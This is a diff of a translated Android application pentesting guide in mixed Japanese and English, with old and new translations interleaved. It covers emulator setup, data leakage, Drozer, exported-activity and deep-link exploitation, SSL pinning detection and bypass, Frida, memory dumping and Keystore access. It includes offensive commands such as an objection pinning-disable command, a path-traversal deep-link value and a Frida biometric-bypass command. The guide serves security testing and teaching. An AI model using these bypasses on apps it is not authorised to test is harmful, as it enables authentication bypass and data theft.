Analysis #### Using an emulator -- [**Android Studio**](https://developer.android.com/studio)(**x86** および **arm** デバイスを作成できます。また、[**こちら**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)によれば最新の x86 バージョンは遅い arm エミュレータを使わなくても ARM ライブラリをサポートします)。 -- セットアップ方法は以下のページで学べます: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition、アカウント作成が必要です。_潜在的なエラーを避けるために_ _**VirtualBox付き**のバージョンを**ダウンロード**することを推奨します。_) -- [**Nox**](https://es.bignox.com)(無料ですが、FridaやDrozerはサポートしていません)。 +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> 新しいエミュレータを作成する際、画面が大きいほどエミュレータは遅くなることを覚えておいてください。可能であれば小さい画面を選んでください。 +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -GenymotionにGoogleサービス(AppStoreなど)をインストールするには、以下画像の赤で示したボタンをクリックする必要があります: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -また、**GenymotionのAndroid VMの設定**で**Bridge Network mode**を選択できる点に注意してください(これは、ツールを持つ別のVMからAndroid VMに接続する場合に有用です)。 +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). #### Use a physical device -デバッグオプションを有効にする必要があり、可能であれば**root**しておくと良いでしょう: +You need to activate the **debugging** options and it will be cool if you can **root** it: 1. **Settings**. -2. (Android 8.0以降) **System**を選択。 -3. **About phone**を選択。 -4. **Build number**を7回押す。 -5. 戻ると**Developer options**が表示されます。 +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> アプリをインストールしたら、まずそれを実行して何をするのか、どのように動作するのかを調査し、慣れてください。\ -> 初期のdynamic analysisは MobSF dynamic analysis + pidcat を使って行うことを推奨します。こうすることで、アプリがどのように動作するかを学びつつ、後で確認できる多くの興味深いデータを MobSF がキャプチャします。 +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. ### Unintended Data Leakage **Logging** -開発者は**デバッグ情報**を公開しないよう注意する必要があります。これは機密データのleakにつながる可能性があります。アプリケーションのログを監視して機密情報を特定・保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat) や `adb logcat` の使用が推奨されます。**Pidcat**は使いやすさと可読性の面で好まれます。 +開発者は**debugging information**を公開しないよう注意すべきです。これは機密データのleakにつながる可能性があります。アプリケーションログを監視して機密情報を特定・保護するために [**pidcat**](https://github.com/JakeWharton/pidcat) や `adb logcat` を使うことを推奨します。**Pidcat**は使いやすさと可読性の面で好まれます。 > [!WARNING] -> Android 4.0以降のバージョンでは、**アプリは自分自身のログにしかアクセスできません**。したがってアプリは他のアプリのログにはアクセスできません。\ -> それでも、機密情報をログに出力しないことが推奨されます。 +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Androidの**クリップボードベースの**フレームワークはアプリ間でのコピー&ペースト機能を提供しますが、**他のアプリ**がクリップボードにアクセスできるため、機密データが公開されるリスクがあります。クレジットカード情報のような機密箇所については、コピー/ペースト機能を無効にすることが重要です。 +Androidの**clipboard-based**フレームワークはアプリ間のコピー&ペーストを可能にしますが、**他のアプリ**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカード情報などの機密セクションではコピー/ペースト機能を無効にすることが重要です。 **Crash Logs** -アプリが**クラッシュ**してログを保存する場合、これらのログは特にアプリがリバースできない場合に攻撃者に役立つことがあります。このリスクを緩和するため、クラッシュ時にログを記録しないようにし、もしログをネットワーク経由で送信する必要がある場合は必ずSSLチャネルで送信してください。 +アプリが**クラッシュ**してログを保存する場合、これらのログはリバースが困難な場合でも攻撃者に手がかりを与えることがあります。このリスクを軽減するため、クラッシュ時に不要なログを残さない、またはログをネットワーク送信する場合はSSL経由で送るようにしてください。 -pentesterとして、**これらのログを確認してみてください**。 +ペンテスターとして、**これらのログを確認することを試みてください**。 **Analytics Data Sent To 3rd Parties** -多くのアプリは Google Adsense のようなサービスを統合しており、開発者の実装ミスにより機密データを第三者に送信してしまうことがあります。潜在的なデータ漏洩を特定するには、アプリケーションのトラフィックをインターセプトして第三者に送られている機密情報がないか確認することが推奨されます。 +多くのアプリは Google Adsense のようなサービスを統合しており、開発者の誤実装により機密データが誤ってthird-partyにleakすることがあります。潜在的なデータ漏洩を特定するには、アプリのトラフィックをインターセプトして、サードパーティに送信される機密情報がないか確認することを勧めます。 ### SQLite DBs -ほとんどのアプリケーションは情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は作成された**データベース**、**テーブル名**や**カラム名**、および保存されている全ての**データ**を確認してください。ここで機密情報を見つけることがあり、それは脆弱性になります。\ -データベースは通常 `/data/data/the.package.name/databases` にあります(例:`/data/data/com.mwr.example.sieve/databases`)。 +ほとんどのアプリは情報を保存するために**internal SQLite databases**を使用します。ペンテスト中は作成された**databases**、**tables**や**columns**の名前、保存されている**data**を確認してください。機密情報が見つかる可能性があります(これがvulnerabilityとなります)。\ +データベースは通常 `/data/data/the.package.name/databases` に存在します(例: `/data/data/com.mwr.example.sieve/databases`)。 -データベースが機密情報を保存していて**encrypted**されていても、もしアプリケーション内で**password**を見つけられるなら、それは依然として**vulnerability**です。 +データベースが機密情報を保存していて**encrypted**されていても、アプリ内でその**password**を**find**できる場合は、依然として**vulnerability**です。 -`.tables` を使ってテーブルを列挙し、`.schema ` を使ってテーブルのカラムを列挙してください。 +テーブルの一覧は `.tables`、各テーブルのカラムは `.schema ` で列挙します。 ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** はAndroidアプリの役割を引き受け、他のアプリとやり取りすることを可能にします。インストールされたアプリができることは何でも行うことができ、AndroidのInter-Process Communication (IPC) メカニズムを利用し、基盤となるOSと相互作用できます。.\ -Drozerは、exported activities、exported services、Content Providersを**exploit**するのに有用なツールです。これは以下のセクションで学びます。 +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. ### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -また、Activityのコードは**`onCreate`**メソッドから始まることを覚えておいてください。 +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Activityがexportedになっている場合、外部アプリからその画面を呼び出すことができます。したがって、**sensitive information**を含むActivityが**exported**されている場合、認証メカニズムを**bypass**してそれにアクセスできてしまう可能性があります。 +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -adbからexported activityを起動することもできます: +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**注意**: MobSF は activity の `android:launchMode` に _**singleTask/singleInstance**_ を使用していることを悪意あるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) によると、これは古いバージョン(API versions < 21)のみ危険なようです。 > [!TIP] -> authorisation bypass が常に脆弱性であるとは限りません。バイパスの動作や公開される情報によって判断されます。 +> 認可 bypass が必ずしも脆弱性になるとは限らない点に注意してください。bypass の仕組みや露出する情報によって判断されます。 -**Sensitive information leakage** +**機密情報の leak** -**Activities can also return results**. エクスポートされ保護されていない activity が **`setResult`** メソッドを呼び出して **機密情報を返す** 場合、sensitive information leakage が発生します。 +**Activities は結果を返すこともあります**。exported かつ保護されていない activity が **`setResult`** メソッドを呼び出し **機密情報を返している** のを見つけた場合、機密情報の leak が発生します。 #### Tapjacking -Tapjacking が防止されていない場合、エクスポートされた activity を悪用して **ユーザに予期しない操作を行わせる** ことができます。詳細は[**what is Tapjacking follow the link**](#tapjacking)。 +Tapjacking が防止されていない場合、exported activity を悪用して **user に予期しない操作を実行させる** ことができます。詳細は [**Tapjacking とは(リンク参照)**](#tapjacking) を参照してください。 ### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers は基本的にデータを共有するために使われます。アプリに利用可能な content providers がある場合、そこから**機密情報を抽出**できる可能性があります。脆弱である可能性があるため、可能な **SQL injections** や **Path Traversals** のテストも重要です。 +[**Content Provider を再確認したい場合はこちらを読んでください。**](android-applications-basics.md#content-provider)\ +Content providers は基本的にデータを**共有**するために使用されます。アプリに利用可能な content providers があれば、そこから**機密データを抽出**できる可能性があります。脆弱であることがあるため、**SQL injections** や **Path Traversals** のテストを行うことも重要です。 [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Service の処理は `onStartCommand` メソッドで開始されることを覚えておいてください。 +[**Service を再確認したい場合はこちらを読んでください。**](android-applications-basics.md#services)\ +Service の処理は `onStartCommand` メソッドで開始されることを忘れないでください。 -Service は基本的に**データを受け取り**、それを**処理**し、(場合によっては)**レスポンスを返す**ものです。したがって、アプリが何らかの services をエクスポートしている場合は、その動作を理解するために**コードを確認**し、機密情報の抽出や認証回避などを目的に**動的にテスト**するべきです。\ +Service は基本的にデータを**受け取り**、**処理**し、(する場合には)レスポンスを**返す**ものです。したがって、アプリがいくつかのサービスを export している場合は、何をしているのかを理解するために**コード**を**確認**し、機密情報の抽出や認証の bypass などを目的に**動的に**テストするべきです。\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Broadcast Receiver の処理は `onReceive` メソッドで開始されることを覚えておいてください。 +[**Broadcast Receiver を再確認したい場合はこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\ +Broadcast Receiver の処理は `onReceive` メソッドで開始されることを忘れないでください。 -Broadcast receiver は特定の種類のメッセージを待ち受けます。受信したメッセージの処理方法によっては脆弱になる可能性があります。\ +Broadcast receiver は特定の種類のメッセージを待機します。受け取ったメッセージの処理方法によっては脆弱になる可能性があります。\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** deep links は手動で探すこともできます。MobSF のようなツールや [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) のようなスクリプトを使ってください。\ -宣言された **scheme** は **adb** や **browser** を使って **open** できます: +宣言された **scheme** は **adb** や **browser** を使って **open** できます: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_注意:**パッケージ名を省略すると**、モバイルはそのリンクを開くアプリを自動的に起動します._ +_**package name を省略**すると、モバイルはそのリンクを開くべきアプリを自動的に呼び出します._ ```html Click me @@ -393,56 +393,55 @@ _注意:**パッケージ名を省略すると**、モバイルはそのリン ``` **実行されるコード** -アプリ内で実行される**コードを特定するために**、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。 +アプリで**実行されるコード**を見つけるには、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。 ![](<../../images/image (436) (1) (1) (1).png>) **機密情報** -deep link を見つけたら、毎回**URLパラメータ経由でパスワードなどの機密データを受け取っていないか**確認してください。そうしないと、他のアプリが**deep link を偽装してそのデータを盗む**可能性があります! +deep link を見つけたら毎回、**URL パラメータ経由でパスワードのような機密データを受け取っていないか**を確認してください。そうでないと、他のアプリがその deep link を **impersonate してデータを盗む**可能性があります! -**Parameters in path** - -URL のパス内でパラメータを使用している deep link がないか**必ず確認してください**。例えば `https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制できる可能性があります。\ -アプリ内で正しいエンドポイントを見つけられれば、パスの一部がドメイン名として使われている場合の **Open Redirect**、CSRF トークンなしでユーザ詳細を変更できる場合の **account takeover**(脆弱なエンドポイントが適切なメソッドを使っている場合)など、さまざまな脆弱性を引き起こせます。詳細は [こちら](http://dphoeniixx.com/2020/12/13-2/) を参照してください。 +パス内のパラメータ +You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** -[interesting bug bounty report](https://hackerone.com/reports/855618)(リンクに関する報告、_/.well-known/assetlinks.json_)。 +リンク(_/.well-known/assetlinks.json_)に関する[興味深い bug bounty レポート](https://hackerone.com/reports/855618)。 -### トランスポート層の検査と検証の失敗 +### Transport Layer Inspection and Verification Failures -- **Certificates are not always inspected properly** by Android applications. 多くのアプリケーションは警告を無視して自己署名証明書を受け入れたり、場合によっては HTTP 接続に戻したりすることがよくあります。 -- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suite を使用していることがあります。この脆弱性は接続を man-in-the-middle (MITM) 攻撃に対して脆弱にし、攻撃者がデータを復号できるようにします。 -- **Leakage of private information** は、アプリが一部の認証を安全なチャネルで行いながら、その他のやり取りで非暗号化チャネルを使う場合に発生するリスクです。この方法では、セッション cookie やユーザ情報などの機密データが悪意のある第三者に傍受される可能性から保護されません。 +- **Certificates are not always inspected properly** by Android applications. 多くのアプリは警告を見落とし、自己署名証明書を受け入れたり、場合によっては HTTP 接続にフォールバックすることがあります。 +- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suites を使用していることがあります。この脆弱性により接続は man-in-the-middle (MITM) 攻撃に対して脆弱になり、攻撃者がデータを復号できる可能性があります。 +- **Leakage of private information** は、アプリがセキュアなチャネルで認証を行った後に他のトランザクションで非セキュアなチャネルを使って通信する場合にリスクとなります。この手法では、セッションクッキーやユーザー情報などの機密データが悪意ある第三者によって傍受されるおそれがあります。 -#### 証明書検証 +#### Certificate Verification -ここでは **certificate verification** に焦点を当てます。サーバーの証明書の整合性を検証することはセキュリティ強化のために不可欠です。不適切な TLS 設定や暗号化されていないチャネルでの機密データ送信は重大なリスクを招くため、サーバー証明書の検証と脆弱性への対応手順については [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。 +ここでは **certificate verification** に焦点を当てます。サーバー証明書の整合性を検証することはセキュリティ向上のために必須です。これは、不適切な TLS 構成や暗号化されていないチャネルでの機密データ送信が重大なリスクを引き起こすためです。サーバー証明書の検証手順や脆弱性への対処方法の詳細は、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。 #### SSL Pinning -SSL Pinning は、アプリがサーバーの証明書をアプリ内に格納された既知のコピーと照合するセキュリティ対策です。これは MITM 攻撃を防ぐために重要な手法であり、機密情報を扱うアプリケーションには SSL Pinning の実装が強く推奨されます。 +SSL Pinning は、アプリがサーバー証明書をアプリ内に格納された既知のコピーと照合して検証するセキュリティ手法です。これは MITM 攻撃を防ぐために重要です。機密情報を扱うアプリケーションでは SSL Pinning の実装が強く推奨されます。 -#### トラフィック検査 +#### Traffic Inspection -HTTP トラフィックを検査するには、プロキシツールの証明書(例: Burp)を**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックがプロキシで見えないことがあります。カスタム CA 証明書のインストール方法については [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。 +HTTP トラフィックを検査するには、プロキシツールの証明書(例: Burp)を **インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックはプロキシ経由で見えないことがあります。カスタム CA 証明書のインストール方法は、[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。 -API Level 24 以降をターゲットにするアプリケーションは、プロキシの CA 証明書を受け入れるように Network Security Config の変更が必要です。暗号化トラフィックを検査するためにこの手順は重要です。Network Security Config の変更方法については [**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。 +API Level 24 以上をターゲットにするアプリは、プロキシの CA 証明書を受け入れるために Network Security Config を変更する必要があります。暗号化トラフィックを検査するための Network Security Config の変更手順は、[**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。 -もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従ってください。単に証明書をストアに追加するだけでは動作しないことがあり、Flutter は独自の有効な CA リストを使用しているためです。 +もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従う必要があります。単に証明書をストアに追加するだけでは機能しません。Flutter は独自の有効な CA リストを持っているためです。 #### Static detection of SSL/TLS pinning -ランタイムでのバイパスを試す前に、まず APK 内で pinning がどこに強制されているかを素早くマップしてください。静的解析で場所を特定することで、フックやパッチの計画が立てやすくなり、正しいコードパスに集中できます。 +ランタイムでのバイパスを試みる前に、まず APK 内でどこに pinning が強制されているかを素早くマップしてください。静的検出は、フックやパッチの計画を立て、適切なコードパスに集中するのに役立ちます。 Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- APK を Smali にデコンパイル(apktool 経由)して、SSL/TLS pinning 実装のためにキュレートされた正規表現パターンをスキャンするオープンソースの静的解析ユーティリティ。 +- 各マッチについて、正確なファイルパス、行番号、コードスニペットを報告します。 +- OkHttp CertificatePinner、カスタム javax.net.ssl.X509TrustManager.checkServerTrusted、SSLContext.init with custom TrustManagers/KeyManagers、Network Security Config XML pins などの一般的なフレームワークやカスタムコードパスをカバーします。 Install -- Prereqs: Python >= 3.8, Java on PATH, apktool +- 前提条件: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -457,7 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` パターンルールの例 (JSON) -signaturesを使用または拡張して、独自/カスタムpinningスタイルを検出します。独自のJSONを読み込んで、大規模にスキャンできます。 + +signatures を使用または拡張して proprietary/custom pinning styles を検出します。自分の JSON を読み込んで、大規模にスキャンできます。 ```json { "OkHttp Certificate Pinning": [ @@ -472,42 +472,42 @@ signaturesを使用または拡張して、独自/カスタムpinningスタイ } ``` Notes and tips -- 大規模アプリの高速スキャンは multi-threading と memory-mapped I/O を利用;pre-compiled regex がオーバーヘッド/false positives を減らします。 +- 大規模なアプリに対してはマルチスレッディングとメモリマップドI/Oで高速スキャンする;事前コンパイル済みのregexはオーバーヘッド/誤検知を減らす。 - Pattern collection: https://github.com/aancw/smali-sslpin-patterns - 次にトリアージすべき典型的な検出対象: - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers - Declarative pins in res/xml network security config and manifest references -- 一致した箇所を利用して、Frida hooks、static patches、または config reviews を dynamic testing の前に計画します。 +- 一致した箇所を利用して、dynamic testing の前に Frida hooks、static patches、または設定レビューを計画する。 -#### SSL Pinning のバイパス +#### SSL Pinningの回避 -SSL Pinning が実装されている場合、HTTPS トラフィックを調査するためにそれをバイパスする必要があります。これにはいくつかの方法があります: +SSL Pinning が実装されている場合、HTTPSトラフィックを調査するためにそれを回避する必要がある。これにはいくつかの方法がある: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). この方法の最大の利点は、SSL Pinning をバイパスするために root が不要なことですが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限りません。 -- **Frida**(下で説明)を使ってこの保護をバイパスすることもできます。Burp+Frida+Genymotion の使い方ガイドはこちら: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス** することもできます:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス** することも試せます(下で説明) -- まだキャプチャできていないトラフィックがあると思う場合は、iptables を使ってトラフィックを burp に転送してみてください。この記事を参照: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- 自動的に **apk** を修正して **SSLPinning** を **bypass** するために [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使う。 この方法の最大の利点は、SSLPinning を回避するのに root が不要なことだが、アプリを削除して再インストールする必要があり、常に動作するとは限らない。 +- この保護を回避するために **Frida**(下で説明)を使うこともできる。Burp+Frida+Genymotion を使うガイドはこちら: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning を回避** することも試せる**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- **MobSF dynamic analysis**(下で説明)を使って **自動的に SSL Pinning を回避** することも試せる。 +- それでも捕捉できていないトラフィックがあると思う場合は、iptables を使ってトラフィックを burp に転送することを試してみる。こちらのブログを読むと良い: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### 一般的な Web 脆弱性の検索 +#### 一般的なWeb脆弱性の探索 -アプリケーション内の一般的な Web 脆弱性も検索することが重要です。これらの脆弱性の特定と緩和に関する詳細はこの要約の範囲外ですが、他の資料で広く扱われています。 +アプリ内で一般的なWeb脆弱性を探すことも重要だ。これらの脆弱性の特定や緩和に関する詳細はこの要約の範囲を超えるが、他の資料で詳しく扱われている。 ### Frida -[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けの dynamic instrumentation toolkit です。\ -**実行中のアプリケーションにアクセスして、実行時にメソッドを hook し挙動を変えたり、値を変更・抽出したり、別のコードを実行したりできます...**\ -Android アプリを pentest したいなら、Frida の使い方を知っておく必要があります。 +[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けのダイナミックなインストルメンテーションツールキットだ。\ +**実行中のアプリにアクセスして、ランタイムでメソッドにhookを仕込み、挙動や値を変更したり、値を抽出したり、別のコードを実行したりできる。**\ +Androidアプリをpentestするなら Frida の使い方を知っておく必要がある。 - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Frida 用の操作用 "GUI" 例: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection は Frida の自動化に便利です: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Awesome な Frida スクリプトはこちらにあります: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) に示されているように、linjector ツールを使って Frida をロードし、anti-debugging / anti-frida 機構を回避することを試みてください。(tool [linjector](https://github.com/erfur/linjector-rs)) +- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -515,11 +515,11 @@ Android アプリを pentest したいなら、Frida の使い方を知ってお android-anti-instrumentation-and-ssl-pinning-bypass.md {{#endref}} -### **メモリのダンプ - Fridump** +### **Dump Memory - Fridump** -アプリがパスワードや mnemonic のように格納すべきでない機密情報をメモリ内に保存していないか確認してください。 +アプリがパスワードやニーモニックなど、本来メモリに保持すべきでない機密情報をメモリ内に保存していないか確認する。 -[**Fridump3**](https://github.com/rootbsd/fridump3) を使うと、次のようにアプリのメモリをダンプできます: +Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with: ```bash # With PID python3 fridump3.py -u @@ -528,63 +528,63 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -これはメモリを ./dump フォルダにダンプし、そこで次のように grep できます: +これにより ./dump フォルダにメモリがダンプされ、そこで次のように grep できます: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` ### **Keystore内の機密データ** -AndroidではKeystoreが機密データを保存する最適な場所ですが、十分な権限があれば**アクセス可能**です。アプリはここに**sensitive data in clear text**を保存する傾向があるため、pentestsはroot userとして確認するべきです。物理的にデバイスにアクセスできる者がこのデータを盗むことができる可能性があります。 +AndroidではKeystoreは機密データを保存する最適な場所ですが、権限が十分あれば**アクセス可能**な場合があります。アプリはここに**機密データをプレーンテキストで保存する**傾向があるため、pentestsではrootユーザーとして確認する必要があります。物理的にデバイスにアクセスできる者がこのデータを盗む可能性があります。 -アプリがKeystoreにデータを保存している場合でも、そのデータは暗号化されているべきです。 +アプリがKeystoreにデータを保存している場合でも、データは暗号化されているべきです。 -Keystore内のデータにアクセスするには、次のFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **Fingerprint/Biometrics Bypass** -以下の Frida script を使用すると、Android applications が **特定の機密領域を保護するために** 実行している **bypass fingerprint authentication** を回避できる場合があります: +以下のFridaスクリプトを使用すると、Androidアプリが特定の機密領域を保護するために実施している可能性のある **bypass fingerprint authentication** を回避できる場合があります: ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **バックグラウンド画像** -アプリをバックグラウンドにすると、Android は **アプリのスナップショット** を保存します。アプリがフォアグラウンドに復帰したとき、アプリ本体より先にその画像を読み込むことで、アプリの起動が速く見えるようになります。 +アプリをバックグラウンドにすると、Androidは**アプリケーションのスナップショット**を保存します。アプリがフォアグラウンドに復帰したとき、アプリ本体より先にその画像を読み込むことで、アプリがより速く起動したように見せます。 -しかし、この **アプリのスナップショット** に **機密情報** が含まれていると、スナップショットにアクセスできる人物が **その情報を盗む可能性** があります(アクセスには root が必要である点に注意)。 +しかし、この**スナップショット**に**機密情報**が含まれている場合、そのスナップショットにアクセスできる第三者が**その情報を盗む**可能性があります(アクセスにはrootが必要な点に注意)。 -スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`** +スナップショットは通常次の場所に保存されます: **`/data/system_ce/0/snapshots`** -Android は **FLAG_SECURE を設定することでスクリーンショットの取得を防ぐ** 